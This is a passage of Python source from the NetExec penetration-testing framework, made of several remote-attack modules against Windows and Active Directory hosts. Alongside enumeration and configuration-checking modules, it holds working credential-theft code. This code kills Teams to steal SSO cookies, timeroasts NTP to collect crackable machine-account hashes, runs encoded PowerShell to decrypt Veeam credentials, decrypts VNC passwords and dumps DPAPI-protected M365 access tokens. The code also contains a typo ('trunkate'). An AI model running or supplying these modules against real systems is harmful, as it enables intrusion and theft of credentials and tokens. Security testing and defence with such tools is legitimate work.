KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host context.log.debug(f"StringBinding {self.__stringbinding}") rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash) rpctransport.setRemoteHost(connection.host) rpctransport.set_dport(self.port) if connection.kerberos: rpctransport.set_kerberos(connection.kerberos, connection.kdcHost) try: entries = self.__fetch_list(connection.kerberos, rpctransport) except Exception as e: error_text = f"Protocol failed: {e}" context.log.critical(error_text) if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or RPC_PROXY_CONN_A1_404_ERR in error_text or RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: context.log.critical("This usually means the target does not allow to connect to its epmapper using RpcProxy.") return # Display results. endpoints = {} # Let's group the UUIDS for entry in entries: binding = epm.PrintStringBinding(entry["tower"]["Floors"]) tmp_uuid = str(entry["tower"]["Floors"][0]) if (tmp_uuid in endpoints) is not True: endpoints[tmp_uuid] = {} endpoints[tmp_uuid]["Bindings"] = [] endpoints[tmp_uuid]["EXE"] = epm.KNOWN_UUIDS.get(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmp_uuid))[:18], "N/A") endpoints[tmp_uuid]["annotation"] = entry["annotation"][:-1].decode("utf-8") endpoints[tmp_uuid]["Bindings"].append(binding) endpoints[tmp_uuid]["Protocol"] = epm.KNOWN_PROTOCOLS.get(tmp_uuid[:36], "N/A") for endpoint in list(endpoints.keys()): if "MS-RPRN" in endpoints[endpoint]["Protocol"]: context.log.debug(f"Protocol: {endpoints[endpoint]['Protocol']} ") context.log.debug(f"Provider: {endpoints[endpoint]['EXE']} ") context.log.debug(f"UUID : {endpoint} {endpoints[endpoint]['annotation']}") context.log.debug("Bindings: ") for binding in endpoints[endpoint]["Bindings"]: context.log.debug(f" {binding}") context.log.debug("") context.log.highlight("Spooler service enabled") try: host = context.db.get_hosts(connection.host)[0] context.db.add_host( host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, spooler=True, ) except Exception: context.log.debug("Error updating spooler status in database") break if entries: num = len(entries) if num == 1: context.log.debug("[Spooler] Received one endpoint") else: context.log.debug(f"[Spooler] Received {num} endpoints") else: context.log.debug("[Spooler] No endpoints found") def __fetch_list(self, doKerberos, rpctransport): dce = rpctransport.get_dce_rpc() if doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() resp = epm.hept_lookup(None, dce=dce) dce.disconnect() return resp NetExec-1.5.1/nxc/modules/subnets.py000066400000000000000000000120121514706431700173520ustar00rootroot00000000000000from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPSearchError import sys from nxc.helpers.misc import CATEGORY def search_res_entry_to_dict(results): data = {} for attr in results["attributes"]: key = str(attr["type"]) value = str(attr["vals"][0]) data[key] = value return data class NXCModule: """ Retrieves the different Sites and Subnets of an Active Directory Authors: Podalirius: @podalirius_ """ name = "subnets" description = "Retrieves the different Sites and Subnets of an Active Directory" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """SHOWSERVERS Toggle printing of servers (default: true)""" self.showservers = True if module_options and "SHOWSERVERS" in module_options: if module_options["SHOWSERVERS"].lower() == "true" or module_options["SHOWSERVERS"] == "1": self.showservers = True elif module_options["SHOWSERVERS"].lower() == "false" or module_options["SHOWSERVERS"] == "0": self.showservers = False else: context.log.fail("Could not parse showservers option for 'SHOWSERVERS'. Please use 'true' or 'false'.") exit(1) def on_login(self, context, connection): dn = connection.args.base_dn if connection.args.base_dn else connection.ldap_connection._baseDN context.log.display("Getting the Sites and Subnets from domain") try: list_sites = connection.ldap_connection.search( searchBase=f"CN=Configuration,{dn}", searchFilter="(objectClass=site)", attributes=["distinguishedName", "name", "description"], sizeLimit=999, ) except LDAPSearchError as e: context.log.fail(str(e)) sys.exit() for site in list_sites: if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True: continue site = search_res_entry_to_dict(site) site_dn = site["distinguishedName"] site_name = site["name"] site_description = "" if "description" in site: site_description = site["description"] # Getting subnets of this site list_subnets = connection.ldap_connection.search( searchBase=f"CN=Sites,CN=Configuration,{dn}", searchFilter=f"(siteObject={site_dn})", attributes=["distinguishedName", "name"], sizeLimit=999, ) if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0: context.log.highlight(f'Site "{site_name}"') else: for subnet in list_subnets: if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True: continue subnet = search_res_entry_to_dict(subnet) subnet["distinguishedName"] subnet_name = subnet["name"] if self.showservers: # Getting machines in these subnets list_servers = connection.ldap_connection.search( searchBase=site_dn, searchFilter="(objectClass=server)", attributes=["cn"], sizeLimit=999, ) if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0: if len(site_description) != 0: context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (description:"{site_description}")') else: context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name})') else: for server in list_servers: if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True: continue server = search_res_entry_to_dict(server)["cn"] if len(site_description) != 0: context.log.highlight(f"Site: '{site_name}' (Subnet:{subnet_name}) (description:'{site_description}') (Server:'{server}')") else: context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (Server:{server})') else: if len(site_description) != 0: context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name}) (description:"{site_description}")') else: context.log.highlight(f'Site "{site_name}" (Subnet:{subnet_name})') NetExec-1.5.1/nxc/modules/teams_localdb.py000066400000000000000000000045711514706431700204730ustar00rootroot00000000000000import sqlite3 from nxc.helpers.misc import CATEGORY from nxc.paths import TMP_PATH from os.path import abspath, join class NXCModule: name = "teams_localdb" description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): context.log.display("Killing all Teams process to open the cookie file") connection.execute("taskkill /F /T /IM teams.exe") found = 0 paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0) with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f: for path in paths: try: connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write) context.log.highlight("Found Cookie file in path " + path) found = 1 self.parse_file(context, "skypetoken_asm") self.parse_file(context, "SSOAUTHCOOKIE") f.seek(0) f.trunkate() except Exception as e: if "STATUS_SHARING_VIOLATION" in str(e): context.log.debug(str(e)) context.log.highlight("Found Cookie file in path " + path) context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database") if found == 0: context.log.display("No cookie file found in Users folder") @staticmethod def parse_file(context, name): try: conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt"))) c = conn.cursor() c.execute("SELECT value FROM cookies WHERE name = '" + name + "'") row = c.fetchone() if row is None: context.log.fail("No " + name + " present in Microsoft Teams Cookies database") else: context.log.success("Successfully extracted " + name + ": ") context.log.success(row[0]) conn.close() except Exception as e: context.log.fail(str(e)) NetExec-1.5.1/nxc/modules/test_connection.py000066400000000000000000000022241514706431700210710ustar00rootroot00000000000000from sys import exit from nxc.helpers.misc import CATEGORY class NXCModule: """ Executes the Test-Connection PowerShell cmdlet Module by @byt3bl33d3r """ name = "test_connection" description = "Pings a host" supported_protocols = ["smb", "mssql"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """HOST Host to ping""" self.host = None if "HOST" not in module_options: context.log.fail("HOST option is required!") exit(1) self.host = module_options["HOST"] def on_admin_login(self, context, connection): # $ProgressPreference = 'SilentlyContinue' prevents the "preparing modules for the first time" error command = f"$ProgressPreference = 'SilentlyContinue'; Test-Connection {self.host} -quiet -count 1" output = connection.ps_execute(command, get_output=True)[0] context.log.debug(f"Output: {output}") context.log.debug(f"Type: {type(output)}") if output == "True": context.log.success("Pinged successfully") else: context.log.fail("Host unreachable") NetExec-1.5.1/nxc/modules/timeroast.py000066400000000000000000000107201514706431700177020ustar00rootroot00000000000000from binascii import hexlify, unhexlify from select import select from time import time from socket import socket, AF_INET, SOCK_DGRAM from struct import pack, unpack from nxc.helpers.misc import CATEGORY def hashcat_format(rid, hashval, salt): """Encodes hash in Hashcat-compatible format (with username prefix).""" return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" class NXCModule: """ Module by Disgame: @Disgame Based on research from SecuraBV (@SecuraBV) https://github.com/SecuraBV/Timeroast/ Much of this code was copied from the original implementation. """ name = "timeroast" description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self): self.context = None self.module_options = None # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") def options(self, context, module_options): self.rids = range(1, 2**31) self.rate = 180 self.timeout = 24 self.src_port = 0 self.old_hashes = False self.target = None if "rids" in module_options: self.rids = module_options["rids"] if "rate" in module_options: self.rate = module_options["rate"] if "timeout" in module_options: self.timeout = module_options["timeout"] if "src_port" in module_options: self.src_port = module_options["src_port"] if "old_hashes" in module_options: self.old_hashes = module_options["old_hashes"] def on_login(self, context, connection): if self.target is None: self.target = connection.host context.log.display("Starting Timeroasting...") for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): context.log.highlight(hashcat_format(rid, md5hash, salt)) def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0): """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. Rate is the number of queries per second to send. Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network issues. Yields (rid, hash, salt) pairs, where salt is the NTP response data. """ # Flag in key identifier that indicates whether the old or new password should be used. keyflag = 2**31 if old_pwd else 0 # Bind UDP socket. with socket(AF_INET, SOCK_DGRAM) as sock: try: sock.bind(("0.0.0.0", src_port)) except PermissionError: context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") query_interval = 1 / rate last_ok_time = time() rids_received = set() rid_iterator = iter(rids) while time() < last_ok_time + giveup_time: # Send out query for the next RID, if any. query_rid = next(rid_iterator, None) if query_rid is not None: query = self.ntp_prefix + pack(" str: try: keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"] return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0] except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No Salt found") except Exception as e: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) return "" def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt): self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase) self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance) self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer) self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt) psScript_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8") return connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True) def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt): self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec) self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth) self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName) self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt) psScript_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8") return connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True) def printCreds(self, context, output): # Format output if returned in some XML Format if "CLIXML" in output: output = output.split("CLIXML")[1].split(" 16 and (len(hexpasswd) % 16) == 0: splitstr = self.split_len(codecs.encode(cipher, "hex"), 16) cryptedblocks = [] for sblock in splitstr: cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex"))) pwd = b"".join(cryptedblocks) elif len(hexpasswd) <= 16: pwd = self.decrypt_password(cipher) else: pwd = self.decrypt_password(cipher) return pwd def decrypt_password(self, password: bytes): length = len(password) try: if length <= 16: password += b"\x00" * (16 - length) cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB) return cipher.decrypt(password)[:length] except Exception as ex: self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}") def vnc_from_filesystem(self, dploot_conn): vncs = ( ("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"), ("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"), ("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"), ("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"), ) for vnc_name, file in vncs: file_content = dploot_conn.readFile(self.share, file) if file_content is not None: regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"] for regex in regex_passwd: passwds_encrypted = re.findall(regex, file_content) for passwd_encrypted in passwds_encrypted: passwd_encrypted = passwd_encrypted.split(b"=")[-1] password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8] self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}") def get_users(self, conn): users = {} userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList" ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp) regHandle = ans["phKey"] ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) keyHandle = ans["phkResult"] sids = [] i = 0 while True: try: ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i) sids.append(ans2["lpNameOut"]) except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break except Exception as e: self.context.debug(f"Error while listing users from HKU: {e}") i += 1 rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle) for sid in sids: ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) keyHandle = ans["phkResult"] _, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath") if r"%systemroot%" in profile_path: continue users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0") rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle) return users NetExec-1.5.1/nxc/modules/wam.py000066400000000000000000000056331514706431700164660ustar00rootroot00000000000000import re import jwt from dploot.triage.wam import WamTriage from dploot.lib.target import Target from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "wam" description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") self.pvkbytes = get_domain_backup_key(connection) target = Target.create( domain=connection.domain, username=username, password=password, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, lmhash=getattr(connection, "lmhash", ""), nthash=nthash, do_kerberos=connection.kerberos, aesKey=connection.aesKey, no_pass=True, use_kcache=getattr(connection, "use_kcache", False), ) conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) if conn is None: context.log.debug("Could not upgrade connection") return self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens") def token_callback(token): for attrib in token.attribs: if attrib["Key"].decode() == "WTRes_Token": # Extract every access token for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()): decoded_token = jwt.decode(access_token, options={"verify_signature": False}) if "preferred_username" in decoded_token: # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") try: triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback) triage.triage_wam() except Exception as e: context.log.debug(f"Could not loot access tokens: {e}") NetExec-1.5.1/nxc/modules/wcc.py000066400000000000000000001142531514706431700164550ustar00rootroot00000000000000import json import logging import operator import time from impacket.system_errors import ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND, ERROR_OBJECT_NOT_FOUND from termcolor import colored from nxc.helpers.misc import CATEGORY from nxc.logger import nxc_logger from impacket.dcerpc.v5 import rrp, samr, scmr from impacket.dcerpc.v5.rrp import DCERPCSessionError from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.smbconnection import SessionError as SMBSessionError from impacket.examples.secretsdump import RemoteOperations # Configuration variables OUTDATED_THRESHOLD = 30 DEFAULT_OUTPUT_FILE = "./wcc_results.json" DEFAULT_OUTPUT_FORMAT = "json" VALID_OUTPUT_FORMATS = ["json", "csv"] # Registry value types REG_VALUE_TYPE_UNDEFINED = 0 REG_VALUE_TYPE_UNICODE_STRING = 1 REG_VALUE_TYPE_UNICODE_STRING_WITH_ENV = 2 REG_VALUE_TYPE_BINARY = 3 REG_VALUE_TYPE_32BIT_LE = 4 REG_VALUE_TYPE_32BIT_BE = 5 REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7 REG_VALUE_TYPE_64BIT_LE = 11 class ConfigCheck: """Class for performing the checks and holding the results""" module = None def __init__(self, name, description="", checkers=None, checker_args=None, checker_kwargs=None): if checker_kwargs is None: checker_kwargs = [{}] if checker_args is None: checker_args = [[]] if checkers is None: checkers = [None] self.check_id = None self.name = name self.description = description assert len(checkers) == len(checker_args) assert len(checkers) == len(checker_kwargs) self.checkers = checkers self.checker_args = checker_args self.checker_kwargs = checker_kwargs self.ok = True self.reasons = [] def run(self): for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs, strict=True): if checker is None: checker = HostChecker.check_registry ok, reasons = checker(*args, **kwargs) self.ok = self.ok and ok self.reasons.extend(reasons) def log(self, context): result = "passed" if self.ok else "did not pass" reasons = ", ".join(self.reasons) self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}') if self.module.quiet: return status = colored("OK", "green", attrs=["bold"]) if self.ok else colored("KO", "red", attrs=["bold"]) reasons = ": " + ", ".join(self.reasons) msg = f"{status} {self.name}" info_msg = f"{status} {self.name}{reasons}" context.log.highlight(msg) context.log.info(info_msg) class NXCModule: """ Windows Configuration Checker Module author: @__fpr (Orange Cyberdefense) """ name = "wcc" description = "Check various security configuration items on Windows machines" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self): self.context = None self.module_options = None self.wcc_logger = logging.getLogger("WCC") self.wcc_logger.propagate = False log_filename = nxc_logger.init_log_file() log_filename = log_filename.replace("log_", "wcc_") self.wcc_logger.setLevel(logging.INFO) wcc_file_handler = logging.FileHandler(log_filename) wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s")) self.wcc_logger.addHandler(wcc_file_handler) def options(self, context, module_options): """ OUTPUT_FORMAT Format for report (Default: 'json') OUTPUT Path for report QUIET Do not print results to stdout (Default: False) """ self.output = module_options.get("OUTPUT") self.output_format = module_options.get("OUTPUT_FORMAT", DEFAULT_OUTPUT_FORMAT) if self.output_format not in VALID_OUTPUT_FORMATS: self.output_format = DEFAULT_OUTPUT_FORMAT self.quiet = module_options.get("QUIET", "false").lower() in ("true", "1") self.results = {} ConfigCheck.module = self HostChecker.module = self def on_admin_login(self, context, connection): self.results.setdefault(connection.host, {"checks": []}) self.context = context HostChecker(context, connection).run() if self.output is not None: self.export_results() def add_result(self, host, result): self.results[host]["checks"].append({"Check": result.name, "Description": result.description, "Status": "OK" if result.ok else "KO", "Reasons": result.reasons}) def export_results(self): with open(self.output, "w") as output: if self.output_format == "json": json.dump(self.results, output) elif self.output_format == "csv": output.write("Host,Check,Description,Status,Reasons") for host in self.results: for result in self.results[host]["checks"]: output.write(f"\n{host}") for field in (result["Check"], result["Description"], result["Status"], " ; ".join(result["Reasons"]).replace("\x00", "")): if "," in field: field = field.replace('"', '""') field = f'"{field}"' output.write(f",{field}") self.context.log.success(f"Results written to {self.output}") class HostChecker: module = None def __init__(self, context, connection): self.context = context self.connection = connection remoteOps = RemoteOperations(smbConnection=connection.conn, doKerberos=False) remoteOps.enableRegistry() self.dce = remoteOps._RemoteOperations__rrp def run(self): self.init_checks() self.check_config() def init_checks(self): # Declare the checks to do and how to do them self.checks = [ ConfigCheck("Last successful update age", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]), ConfigCheck("LAPS installed", "Checks if LAPS is installed", checkers=[self.check_laps]), ConfigCheck("Administrator account renamed", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]), ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]), ConfigCheck("LM hash storage disabled", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]), ConfigCheck("Always install elevated disabled", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]), ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]), ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]), ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]), ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]), ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]), ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]), ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]), ConfigCheck("CredentialGuard enabled", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]), ConfigCheck("Lsass run as PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]), ConfigCheck("No Powershell v2", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]), ConfigCheck("LLMNR disabled", "Checks if LLMNR is disabled", checker_args=[[self, ("HKLM\\Software\\policies\\Microsoft\\Windows NT\\DNSClient", "EnableMulticast", 0)]]), ConfigCheck("LmCompatibilityLevel == 5", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]), ConfigCheck("NBTNS disabled", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]), ConfigCheck("mDNS disabled", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]), ConfigCheck("SMB signing enabled", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]), ConfigCheck("LDAP signing enabled", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]), ConfigCheck("SMB encryption enabled", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]), ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]), ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]), ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]), ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]), ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]), ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]), ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]), ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]), ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]), ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]), ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", 